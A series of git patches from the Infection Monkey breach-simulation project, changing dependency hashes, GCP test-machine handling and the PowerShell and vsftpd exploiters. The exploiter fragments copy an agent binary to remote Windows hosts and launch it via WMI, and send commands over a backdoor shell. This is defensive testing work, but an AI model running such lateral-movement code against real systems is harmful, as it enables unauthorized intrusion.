"sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24", + "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7" ], "index": "pypi", - "version": "==2.25.1" + "version": "==2.26.0" }, "s3transfer": { "hashes": [ - "sha256:9b3752887a2880690ce628bc263d6d13a3864083aeacff4890c1c9839a5eb0bc", - "sha256:cb022f4b16551edebbb31a377d3f09600dbada7363d8c5db7976e7f47732e1b2" + "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c", + "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803" ], - "version": "==0.4.2" + "markers": "python_version >= '3.6'", + "version": "==0.5.0" }, "scoutsuite": { "git": "git://github.com/guardicode/ScoutSuite", @@ -793,54 +887,55 @@ }, "simplejson": { "hashes": [ - "sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667", - "sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3", - "sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043", - "sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb", - "sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0", - "sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d", - "sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8", - "sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f", - "sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf", - "sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748", - "sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278", - "sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4", - "sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a", - "sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8", - "sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d", - "sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971", - "sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841", - "sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f", - "sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b", - "sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45", - "sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9", - "sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6", - "sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc", - "sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956", - "sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d", - "sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746", - "sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a", - "sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0", - "sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25", - "sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625", - "sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995", - "sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46", - "sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f", - "sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a", - "sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139", - "sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f", - "sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da", - "sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34", - "sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b", - "sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94", - "sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04", - "sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b", - "sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396", - "sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06", - "sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb" + "sha256:065230b9659ac38c8021fa512802562d122afb0cf8d4b89e257014dcddb5730a", + "sha256:07707ba69324eaf58f0c6f59d289acc3e0ed9ec528dae5b0d4219c0d6da27dc5", + "sha256:10defa88dd10a0a4763f16c1b5504e96ae6dc68953cfe5fc572b4a8fcaf9409b", + "sha256:140eb58809f24d843736edb8080b220417e22c82ac07a3dfa473f57e78216b5f", + "sha256:188f2c78a8ac1eb7a70a4b2b7b9ad11f52181044957bf981fb3e399c719e30ee", + "sha256:1c2688365743b0f190392e674af5e313ebe9d621813d15f9332e874b7c1f2d04", + "sha256:24e413bd845bd17d4d72063d64e053898543fb7abc81afeae13e5c43cef9c171", + "sha256:2b59acd09b02da97728d0bae8ff48876d7efcbbb08e569c55e2d0c2e018324f5", + "sha256:2df15814529a4625ea6f7b354a083609b3944c269b954ece0d0e7455872e1b2a", + "sha256:352c11582aa1e49a2f0f7f7d8fd5ec5311da890d1354287e83c63ab6af857cf5", + "sha256:36b08b886027eac67e7a0e822e3a5bf419429efad7612e69501669d6252a21f2", + "sha256:376023f51edaf7290332dacfb055bc00ce864cb013c0338d0dea48731f37e42f", + "sha256:3ba82f8b421886f4a2311c43fb98faaf36c581976192349fef2a89ed0fcdbdef", + "sha256:3d72aa9e73134dacd049a2d6f9bd219f7be9c004d03d52395831611d66cedb71", + "sha256:40ece8fa730d1a947bff792bcc7824bd02d3ce6105432798e9a04a360c8c07b0", + "sha256:417b7e119d66085dc45bdd563dcb2c575ee10a3b1c492dd3502a029448d4be1c", + "sha256:42b7c7264229860fe879be961877f7466d9f7173bd6427b3ba98144a031d49fb", + "sha256:457d9cfe7ece1571770381edccdad7fc255b12cd7b5b813219441146d4f47595", + "sha256:4a6943816e10028eeed512ea03be52b54ea83108b408d1049b999f58a760089b", + "sha256:5b94df70bd34a3b946c0eb272022fb0f8a9eb27cad76e7f313fedbee2ebe4317", + "sha256:5f5051a13e7d53430a990604b532c9124253c5f348857e2d5106d45fc8533860", + "sha256:5f7f53b1edd4b23fb112b89208377480c0bcee45d43a03ffacf30f3290e0ed85", + "sha256:5fe8c6dcb9e6f7066bdc07d3c410a2fca78c0d0b4e0e72510ffd20a60a20eb8e", + "sha256:71a54815ec0212b0cba23adc1b2a731bdd2df7b9e4432718b2ed20e8aaf7f01a", + "sha256:7332f7b06d42153255f7bfeb10266141c08d48cc1a022a35473c95238ff2aebc", + "sha256:78c6f0ed72b440ebe1892d273c1e5f91e55e6861bea611d3b904e673152a7a4c", + "sha256:7c9b30a2524ae6983b708f12741a31fbc2fb8d6fecd0b6c8584a62fd59f59e09", + "sha256:86fcffc06f1125cb443e2bed812805739d64ceb78597ac3c1b2d439471a09717", + "sha256:87572213965fd8a4fb7a97f837221e01d8fddcfb558363c671b8aa93477fb6a2", + "sha256:8e595de17178dd3bbeb2c5b8ea97536341c63b7278639cb8ee2681a84c0ef037", + "sha256:917f01db71d5e720b731effa3ff4a2c702a1b6dacad9bcdc580d86a018dfc3ca", + "sha256:91cfb43fb91ff6d1e4258be04eee84b51a4ef40a28d899679b9ea2556322fb50", + "sha256:aa86cfdeb118795875855589934013e32895715ec2d9e8eb7a59be3e7e07a7e1", + "sha256:ade09aa3c284d11f39640aebdcbb748e1996f0c60504f8c4a0c5a9fec821e67a", + "sha256:b2a5688606dffbe95e1347a05b77eb90489fe337edde888e23bbb7fd81b0d93b", + "sha256:b92fbc2bc549c5045c8233d954f3260ccf99e0f3ec9edfd2372b74b350917752", + "sha256:c2d5334d935af711f6d6dfeec2d34e071cdf73ec0df8e8bd35ac435b26d8da97", + "sha256:cb0afc3bad49eb89a579103616574a54b523856d20fc539a4f7a513a0a8ba4b2", + "sha256:ce66f730031b9b3683b2fc6ad4160a18db86557c004c3d490a29bf8d450d7ab9", + "sha256:e29b9cea4216ec130df85d8c36efb9985fda1c9039e4706fb30e0fb6a67602ff", + "sha256:e2cc4b68e59319e3de778325e34fbff487bfdb2225530e89995402989898d681", + "sha256:e90d2e219c3dce1500dda95f5b893c293c4d53c4e330c968afbd4e7a90ff4a5b", + "sha256:f13c48cc4363829bdfecc0c181b6ddf28008931de54908a492dc8ccd0066cd60", + "sha256:f550730d18edec4ff9d4252784b62adfe885d4542946b6d5a54c8a6521b56afd", + "sha256:fa843ee0d34c7193f5a816e79df8142faff851549cab31e84b526f04878ac778", + "sha256:fe1c33f78d2060719d52ea9459d97d7ae3a5b707ec02548575c4fbed1d1d345b" ], "index": "pypi", - "version": "==3.17.2" + "version": "==3.17.5" }, "six": { "hashes": [ @@ -858,19 +953,19 @@ }, "tempora": { "hashes": [ - "sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909", - "sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8" + "sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950", + "sha256:ef2d8bb35902d5ea7da95df33456685a6d305b97f311725c12e55c13d85c0938" ], "markers": "python_version >= '3.6'", - "version": "==4.0.2" + "version": "==4.1.1" }, "tqdm": { "hashes": [ - "sha256:24be966933e942be5f074c29755a95b315c69a91f839a29139bf26ffffe2d3fd", - "sha256:aa0c29f03f298951ac6318f7c8ce584e48fa22ec26396e6411e43d038243bdb2" + "sha256:80aead664e6c1672c4ae20dc50e1cdc5e20eeff9b14aa23ecd426375b28be588", + "sha256:a4d6d112e507ef98513ac119ead1159d286deab17dffedd96921412c2d236ff5" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==4.61.1" + "version": "==4.62.2" }, "typing-extensions": { "hashes": [ @@ -917,7 +1012,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "python_version >= '3.6'", + "markers": "platform_system == 'Windows'", "version": "==0.0.9" }, "winsys-3.x": { @@ -932,6 +1027,7 @@ "sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942", "sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6" ], + "index": "pypi", "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, @@ -944,11 +1040,11 @@ }, "zipp": { "hashes": [ - "sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76", - "sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098" + "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", + "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" ], "markers": "python_version >= '3.6'", - "version": "==3.4.1" + "version": "==3.5.0" } }, "develop": {} From 1da79f78bf0466e244124b6190f4e4eda0063698 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 15:32:51 -0400 Subject: [PATCH 056/454] Agent: Use format strings in powershell exploiter log statements --- monkey/infection_monkey/exploit/powershell.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 0f5aa5175..05cf01b34 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -57,16 +57,16 @@ class PowerShellExploiter(HostExploiter): client = self._authenticate(username, password) LOG.info( - "Successfully logged into {self.host.ip_addr} using Powershell. User: " - "{username}" + f"Successfully logged into {self.host.ip_addr} using Powershell. User: " + f"{username}" ) self.report_login_attempt(True, username, password) return client except Exception as ex: # noqa: F841 LOG.debug( - "Error logging into {self.host.ip_addr} using Powershell. User: " - "{username}, Error: {ex}" + f"Error logging into {self.host.ip_addr} using Powershell. User: " + f"{username}, Error: {ex}" ) self.report_login_attempt(False, username, password) From e6ca0fd3b618b6b965c66c57b33c01ef11493e85 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 25 Aug 2021 10:07:41 +0200 Subject: [PATCH 057/454] Zoo: Parallelize start and stop of gcp machines --- .../blackbox/gcp_test_machine_list.py | 1 - .../blackbox/utils/gcp_machine_handlers.py | 29 ++++++++++++------- 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 52efeb670..86999ab6d 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -7,7 +7,6 @@ GCP_TEST_MACHINE_LIST = { "hadoop-2", "hadoop-3", "mssql-16", - "powershell-3-45", "mimikatz-14", "mimikatz-15", "struts2-23", diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 26b4b18a5..9c01c72c7 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -1,6 +1,7 @@ import logging import os import subprocess +from multiprocessing.dummy import Pool LOGGER = logging.getLogger(__name__) @@ -44,24 +45,24 @@ def start_machines(machine_list): """ LOGGER.info("Setting up all GCP machines...") try: + arglist = [] for zone in machine_list: - subprocess.call( # noqa: DUO116 - (MACHINE_STARTING_COMMAND % (" ".join(machine_list[zone]), zone)), - shell=True, - ) - LOGGER.info("GCP machines successfully started.") + arglist.append((MACHINE_STARTING_COMMAND, machine_list, zone)) + with Pool(2) as pool: + pool.map(run_gcp_command, arglist) + LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) def stop_machines(machine_list): try: + arglist = [] for zone in machine_list: - subprocess.call( # noqa: DUO116 - (MACHINE_STOPPING_COMMAND % (" ".join(machine_list[zone]), zone)), - shell=True, - ) - LOGGER.info("GCP machines stopped successfully.") + arglist.append((MACHINE_STOPPING_COMMAND, machine_list, zone)) + with Pool(2) as pool: + pool.map(run_gcp_command, arglist) + LOGGER.info("GCP machines stopped successfully.") except Exception as e: LOGGER.error("GCP Handler failed to stop network machines: %s" % e) @@ -72,3 +73,11 @@ def get_auth_command(key_path): def get_set_project_command(project): return SET_PROPERTY_PROJECT % project + + +def run_gcp_command(arglist): + gcp_cmd, machine_list, zone = arglist + subprocess.call( # noqa DUO116 + (gcp_cmd % (" ".join(machine_list[zone]), zone)), + shell=True, + ) From 876cdbeffa781bb06f92fcf762df5b57a150ac35 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 25 Aug 2021 19:31:36 +0530 Subject: [PATCH 058/454] island: Check if credential in exploit telemetry is `None` before processing it --- .../cc/services/telemetry/processing/exploit.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 6eb759b21..7fa5654c5 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -74,5 +74,6 @@ def encrypt_exploit_creds(telemetry_json): for i in range(len(attempts)): for field in ["password", "lm_hash", "ntlm_hash"]: credential = attempts[i][field] - if len(credential) > 0: - attempts[i][field] = get_encryptor().enc(credential) + if credential: # PowerShell exploiter's telem may have `None` here + if len(credential) > 0: + attempts[i][field] = get_encryptor().enc(credential) From b8713986829288c143d6577b162c9bf5c31f05e6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 13:25:42 -0400 Subject: [PATCH 059/454] Agent: Add useful logging to powershell exploiter --- monkey/infection_monkey/exploit/powershell.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 05cf01b34..134ae907c 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -127,10 +127,13 @@ class PowerShellExploiter(HostExploiter): monkey_local_file.write(monkey_virtual_file.read()) def _copy_monkey_binary_to_victim(self, dest: str) -> bool: + LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") try: self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest) + LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}") return True except Exception: + LOG.warning(f"Failed to copy the monkey agent binary to {self.host.ip_addr}") return False finally: os.remove(TEMP_MONKEY_BINARY_FILEPATH) @@ -140,6 +143,10 @@ class PowerShellExploiter(HostExploiter): self.host, get_monkey_depth() - 1, executable_path ) + LOG.debug( + f"Attempting to execute the monkey agent on remote host " + f'{self.host.ip_addr} with commmand "{monkey_execution_command}"' + ) with self.client.wsman, RunspacePool(self.client.wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( From e70d1c714b5e4ce18a61a181ae2d277395d6fb89 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 13:29:15 -0400 Subject: [PATCH 060/454] Agent: Remove context manager from _authenticate() Since the PowerShellExploiter's _authenticate() method returns the client object, it doesn't make sense for it to be constructed in a context manager. --- monkey/infection_monkey/exploit/powershell.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 134ae907c..6f0a27ac4 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -74,8 +74,7 @@ class PowerShellExploiter(HostExploiter): def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: (ssl, auth, encryption) = utils.get_powershell_client_params(password) - - with Client( + client = Client( self.host.ip_addr, username=username, password=password, @@ -83,10 +82,13 @@ class PowerShellExploiter(HostExploiter): ssl=ssl, auth=auth, encryption=encryption, - ) as client: - # attempt to execute dir command to know if authentication was successful - client.execute_cmd("dir") - return client + connection_timeout=3, + ) + + # attempt to execute dir command to know if authentication was successful + client.execute_cmd("dir") + + return client def _execute_monkey_agent_on_victim(self) -> bool: arch = self._get_host_arch() From 86d7879c310f266b4d982eccf0937742bdc0038b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 13:33:03 -0400 Subject: [PATCH 061/454] Agent: Remove leading space from RUN_MONKEY string template --- monkey/infection_monkey/exploit/vsftpd.py | 2 +- monkey/infection_monkey/model/__init__.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index bb832358a..62a215383 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -150,7 +150,7 @@ class VSFTPDExploiter(HostExploiter): # Set unlimited to memory # we don't have to revert the ulimit because it just applies to the shell obtained by our # exploit - run_monkey = ULIMIT_V + UNLIMITED + run_monkey + run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey run_monkey = str.encode(str(run_monkey) + "\n") time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index c8cf5aa1c..bee29885c 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -39,7 +39,7 @@ BITSADMIN_CMDLINE_HTTP = ( "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s" ) CHMOD_MONKEY = "chmod +x %(monkey_path)s" -RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" +RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands From 176828d458584436e3e6dc3c688ce8bfcc2b7344 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 14:18:43 -0400 Subject: [PATCH 062/454] Agent: Log exception if PowerShellExploiter fails to copy agent --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6f0a27ac4..f109724da 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -134,8 +134,8 @@ class PowerShellExploiter(HostExploiter): self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest) LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}") return True - except Exception: - LOG.warning(f"Failed to copy the monkey agent binary to {self.host.ip_addr}") + except Exception as ex: + LOG.error(f"Failed to copy the monkey agent binary to {self.host.ip_addr}: {ex}") return False finally: os.remove(TEMP_MONKEY_BINARY_FILEPATH) From 8aedc2c391f7bbcde308ce966fa2968ffc595101 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 14:44:31 -0400 Subject: [PATCH 063/454] Agent: Add pyinstaller hooks for pypsrp --- monkey/infection_monkey/pyinstaller_hooks/hook-pypsrp.py | 3 +++ vulture_allowlist.py | 1 + 2 files changed, 4 insertions(+) create mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-pypsrp.py diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-pypsrp.py b/monkey/infection_monkey/pyinstaller_hooks/hook-pypsrp.py new file mode 100644 index 000000000..40beafb8e --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-pypsrp.py @@ -0,0 +1,3 @@ +from PyInstaller.utils.hooks import collect_all + +datas, binaries, hiddenimports = collect_all("pypsrp") diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 6e5564d07..79ae93719 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -109,6 +109,7 @@ _.version_string # unused method (monkey/infection_monkey/transport/http.py:148 _.version_string # unused method (monkey/infection_monkey/transport/http.py:27) _.close_connection # unused attribute (monkey/infection_monkey/transport/http.py:57) protocol_version # unused variable (monkey/infection_monkey/transport/http.py:24) +binaries # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-pypsrp.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4) From c875aa349f88f9c5fd25ae237e3ba791e516d315 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 15:33:46 -0400 Subject: [PATCH 064/454] Tests: Change test order/names in powershell_utils/test_utils.py --- .../exploit/powershell_utils/test_utils.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 04e062f3b..7f56f8613 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -18,14 +18,6 @@ def test_get_credentials__empty_windows_false(): assert len(credentials) == 0 -def test_get_credentials__username_only_windows_false(): - credentials = utils.get_credentials(TEST_USERS, [], False) - - assert len(credentials) == 2 - assert (TEST_USERS[0], "") in credentials - assert (TEST_USERS[1], "") in credentials - - def test_get_credentials__username_only_windows_true(): credentials = utils.get_credentials(TEST_USERS, [], True) @@ -36,7 +28,15 @@ def test_get_credentials__username_only_windows_true(): assert (TEST_USERS[1], None) in credentials -def test_get_credentials__username_password(): +def test_get_credentials__username_only_windows_false(): + credentials = utils.get_credentials(TEST_USERS, [], False) + + assert len(credentials) == 2 + assert (TEST_USERS[0], "") in credentials + assert (TEST_USERS[1], "") in credentials + + +def test_get_credentials__username_password_windows_true(): credentials = utils.get_credentials(TEST_USERS, TEST_PASSWORDS, True) assert len(credentials) == 9 From a80cd676b41d9bdf027bb5ee170d2b4282a118b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 25 Aug 2021 15:37:17 -0400 Subject: [PATCH 065/454] Common: Remove unused CredentialsError --- monkey/common/utils/exceptions.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 4c66868b2..df40f3007 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -6,11 +6,7 @@ class FailedExploitationError(Exception): """ Raise when exploiter fails instead of returning False """ -class CredentialsError(Exception): - """ Raise when credentials are wrong""" - - -class InvalidRegistrationCredentialsError(CredentialsError): +class InvalidRegistrationCredentialsError(Exception): """ Raise when server config file changed and island needs to restart """ From 9a96e6ed3904e6c6be4fa1a13e96d619c5e4d531 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 26 Aug 2021 10:35:22 +0200 Subject: [PATCH 066/454] Zoo: Refactor start and stop gcp machine functions --- .../blackbox/utils/gcp_machine_handlers.py | 25 +++++++++---------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 9c01c72c7..aa12bfe73 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -45,24 +45,16 @@ def start_machines(machine_list): """ LOGGER.info("Setting up all GCP machines...") try: - arglist = [] - for zone in machine_list: - arglist.append((MACHINE_STARTING_COMMAND, machine_list, zone)) - with Pool(2) as pool: - pool.map(run_gcp_command, arglist) - LOGGER.info("GCP machines successfully started.") + run_gcp_pool(MACHINE_STARTING_COMMAND, machine_list) + LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) def stop_machines(machine_list): try: - arglist = [] - for zone in machine_list: - arglist.append((MACHINE_STOPPING_COMMAND, machine_list, zone)) - with Pool(2) as pool: - pool.map(run_gcp_command, arglist) - LOGGER.info("GCP machines stopped successfully.") + run_gcp_pool(MACHINE_STOPPING_COMMAND, machine_list) + LOGGER.info("GCP machines stopped successfully.") except Exception as e: LOGGER.error("GCP Handler failed to stop network machines: %s" % e) @@ -78,6 +70,13 @@ def get_set_project_command(project): def run_gcp_command(arglist): gcp_cmd, machine_list, zone = arglist subprocess.call( # noqa DUO116 - (gcp_cmd % (" ".join(machine_list[zone]), zone)), + (gcp_cmd % (" ".join(machine_list), zone)), shell=True, ) + + +def run_gcp_pool(gcp_command, machine_list): + arglist = [(gcp_command, machine_list[zone], zone) for zone in machine_list] + with Pool(2) as pool: + pool.map(run_gcp_command, arglist) + From 57109c11a94d6aa0640551ec415048f690e0f3b0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 26 Aug 2021 17:06:19 +0530 Subject: [PATCH 067/454] cc: Change 'powershell' -> 'PowerShell' in issue overview in security report --- .../report-components/security/issues/PowershellIssue.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js index 012f8cabd..64824f931 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js @@ -2,7 +2,7 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; export function powershellIssueOverview() { - return (
  • Windows servers allow powershell remote command execution.
  • ); + return (
  • Windows servers allow PowerShell remote command execution.
